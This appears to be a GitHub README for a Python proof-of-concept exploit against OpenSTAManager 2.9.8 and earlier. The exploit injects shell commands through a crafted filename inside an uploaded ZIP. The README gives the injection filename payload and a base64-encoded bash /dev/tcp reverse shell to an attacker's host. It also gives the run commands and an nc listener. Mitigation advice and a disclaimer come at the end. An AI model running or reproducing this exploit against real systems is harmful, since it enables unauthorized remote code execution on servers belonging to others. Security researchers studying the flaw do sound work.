c0gnit00/cve-2026-69212Python poc, exploit for CVE-2025-69212
Proof-of-concept exploit for CVE-2025-69212, an OS Command Injection vulnerability in OpenSTAManager <= 2.9.8 that allows an authenticated attacker to achieve Remote Code Execution via a maliciously crafted ZIP file upload.
The vulnerability exists in src/Util/XML.php at line ~100, where the application passes a user-controlled filename directly into a shell exec() call without sanitization:
exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');
When a ZIP archive is uploaded via the importFE_ZIP plugin (/actions.php), the application extracts the ZIP and passes each entry's filename into . An attacker can craft a ZIP with a malicious filename that breaks out of the double-quoted argument and injects arbitrary shell commands.
.p7mexec()Injection payload (filename):
invoice.p7m";<COMMAND>;echo ".p7m
Resulting shell execution:
openssl smime ... -in "invoice.p7m";<COMMAND>;echo ".p7m" ...
# ^^^^^^^^^^^^ injected here
Note: The forward slash
/cannot appear directly in the filename becauseZipArchive::extractTo()treats it as a path separator. The PoC avoids this by base64-encoding the reverse shell payload.
requests librarync)Install dependencies:
pip install requests
python3 CVE-2025-69212.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> --lhost <YOUR_IP> --lport <YOUR_PORT>
| Argument | Required | Description |
|---|---|---|
-u, --url | Yes | Target base URL (e.g. http://target.htb) |
-U, --username | Yes | OpenSTAManager username |
-P, --password | Yes | OpenSTAManager password |
--lhost | Yes | Your IP address for the reverse shell |
--lport | Yes | Your listening port for the reverse shell |
--proxy | No | HTTP proxy (e.g. http://127.0.0.1:8080) |
# Start listener
nc -lvnp 4444
# Run exploit
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444
# Route through Burp Suite
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080
.p7m file whose filename includes the injected commandbash -i >& /dev/tcp/LHOST/LPORT 0>&1) is base64-encoded to avoid forward slashes in the filename/actions.php via the importFE_ZIP pluginexec(), triggering the reverse shellUpdate to OpenSTAManager 2.9.9 or later, which sanitizes filenames before passing them to shell commands.
If patching immediately is not possible, disable the importFE_ZIP plugin or restrict access to /actions.php to trusted users only.
This tool is intended for authorized security testing and educational purposes only. Use only on systems you own or have explicit written permission to test. Unauthorized use against systems you do not own is illegal and unethical. The author is not responsible for any misuse or damage caused by this tool.